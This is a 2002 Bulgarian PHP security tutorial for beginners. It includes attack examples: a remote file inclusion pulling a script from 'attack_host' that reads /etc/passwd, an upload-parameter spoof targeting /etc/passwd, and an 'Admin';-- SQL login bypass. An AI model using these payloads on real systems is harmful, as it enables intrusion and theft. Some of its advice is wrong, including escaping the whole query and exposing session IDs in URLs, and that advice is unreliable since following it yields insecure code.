от Димитър Димитров(11-02-2002)

рейтинг (10)   [ добре ]  [ зле ]

Printer Friendly Вариант за отпечатване

Много често частта "сигурност" се пренебрегва при скриптирането, но мисля, че
това е един от най-важните моменти при писането на един скрипт.
Тази статия е предимно за начинаещите php програмисти (едва ли би могла да изненада с нещо по-опитните), тя не може да претендира за изчерпателност
или пълнота, но може да даде основни познания за това как да пишем по-чист и защитен код.

-------------------------------------------
0. Проверка на данните.
Тази препоръка е поставена под "0", защото тя е просто задължителна, изпълнението би
предотвратило по-голямата част от опитите за атака.

ВИНАГИ проверявайте полетата, попълвани от потребителите.
Например:
потребителско име - само букви, цифри и долно тире
телефонен номер: - само цифри.
if(preg_match("/^[a-zA-Z0-9_]{3,12}$/",$Username)){ //OK

-------------------------------------------
1. Атрибутът ACTION на тагът FORM
Никога не задавайте пълния път, а относителния.
По този начин формата винаги ще се събмитва към файл от вашия сървър.

<FORM METHOD="POST" ACTION="dir/test.php"> - правилно
<FORM METHOD="POST" ACTION="http://server/dir/test.php"> - неправилно

Ако искате формата да се събмитва към текущия файл (т.е. този който я съдържа),
използвайте това:

<FORM METHOD="POST" ACTION="<?=$PHP_SELF;?>">
Предефинираната променлива $PHP_SELF съдържа относителния път на текущия файл.

-------------------------------------------
2. Глобални променливи.
Най-често използваните масиви от програмистите, в които се съдържат стойностите и имената на глобалните
променливи са:
$HTTP_POST_VARS - за изпратените данни чрез POST метода
$HTTP_GET_VARS - за изпратените данни чрез GET метода
$HTTP_SESSION_VARS - за дефинираните сесийни променливи

Ако имаме променливата test, изпратена примерно през POST:
<INPUT TYPE=TEXT NAME="test" VALUE="value1">
и същата променлива, изпратена през GET:
http://server/script.php?test=value2
можем да различим двете променливи по следния начин:
test1=$HTTP_POST_VARS["test"] - стойност=value1
test2=$HTTP_GET_VARS["test"] - стойност=value2

Точното определяне на това от кой от тези масиви е дадена променлива би предотвратило атаки от сорта:
<INPUT TYPE=HIDDEN NAME="UserType" VALUE="Moderator"> - POST
http://server/script.php?UserType=Moderator - GET

Решение: в началото на php скрипта определяйте променливите така:
$test=$HTTP_POST_VARS["test"];
$Username=$HTTP_SESSION_VARS["Username"];

-------------------------------------------
3. Upload на файлове

<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="Userfile">
<INPUT TYPE="Upload">
</FORM>

Когато правите upload на файл, се предават следните допълнителни променливи:
$Userfile_size - размер на файла
$Userfile_type - тип на файла - текст, изображение...
$Userfile_name - действително име на файла

Атакуващия би могъл да опита нещо такова:
http://server/upload.php?Userfile=/etc/passwd&Userfile_size=10240&Userfile_type=text/plain&Userfile_name=some_file.jpg

Решението се свежда до решението на т.2 - Глобални променливи.
-------------------------------------------

4. Include на файлове.
Програмистът може да има неприятности, когато включва файлове по следния начин:
<?php include($dir . "/script.php");?>
Нека този URL на файла, който използва горния код за include да е: http://host/index.php

Ето какво би пробвал атакуващия:
Би направил един файл, наречен script.php на собствения си сървър, съдържащ примерно следния код:
<?php readfile("/etc/passwd");

Нека този URL на файл да е: http://attack_host/hack/script.php
Следваща стъпка:
Подаване на "правилната" директория:
http://host/index.php?dir=http://attack_host/hack/

По този начин ще бъде включен файлът от http://attack_host/hack.

Решение: в /etc/php.ini забранете използването на файлове, външни за вашия сървър:
allow_url_fopen = Off
Задайте "твърдо" възможните директории примерно в масив така:
$Dirs=array('dir1','dir2',...);
После проверявайте дали променливата съвпада с някоя от масива:
if(in_array($dir,$Dirs)){include($dir . "/script.php");}
else{exit();}

-------------------------------------------
5. Разглеждане съдържанието на директория.
Ако нямате възможност да забраните разглеждането на дадена директория, направете файл index.php:
<? header("Location: http://host/index.php"); ?>
Това ще пренасочи атакуващия към началната страница.

-------------------------------------------
6. Разширения
Никога не оставяйте файлове на сървъра си с разширения, различни от установените за php.
Чест пример са файловете за include:
/inc_dir/include.inc - грешно
/inc_dir/include.inc.php - правилно
-------------------------------------------

7. Заявки към бази данни.
Това е една от най-често срещаните грешки, винаги трябва да се проверява заявката.
Тъй като най-често срещаната комбинация е php + mysql, ето как може да стане това:
$Query="SELECT Username FROM Users WHERE ...";
$Query=mysql_escape_string($Query);

По този начин всички потенциално опасни символи като - и / се "обезвреждат": / = //; - = /-
Ето един пример за атака:
Имаме форма за въвеждане на име (Username) и парола(Password).
Обикновено начинът за проверка дали един потребител е въвел правилно името си и паролата е следния:

SELECT ID,Username FROM Users WHERE UserName='$LoginUsername' and Password=PASSWORD('$LoginPassword')

Когато се върне точно един ред, това означава правилно логване.
Атакуващия на базата на предположения би пробвал да въведе в полето за потребителско име следното:
Admin';--
последните два знака в mysql означават коментар.
Заявката се преобразува до следното:

SELECT ID,Username FROM Users WHERE UserName='Admin'; -- това вече е коментар ->' and Password=PASSWORD('$LoginPassword')
Идеята е ясна.
-------------------------------------------
8. Сесийни променливи.
Добра идея според мен е предването на ID на сесията по GET метода и регистрирането на същото това ID като сесийна променлива. След това можете да направите сравнение между тези двете:
if($UserName and $HTTP_SESSION_VARS["SID"]==$HTTP_GET_VARS["SID"]){ //OK
-------------------------------------------

Надявам се, че статията е помогнала поне малко на някой, също така се надявам, че тя не е станала причина за "разбиването" на някой сайт :).

Автор: Димитър Димитров, 11/2/2002
http://mitko.infotech.bg, mitko@stud.ru.acad.bg


<< Как да ограничим Dial-up по трафик като използваме ICRadius | Как да гледаме DVB-телевизия с "Budget"-карта и LIRC >>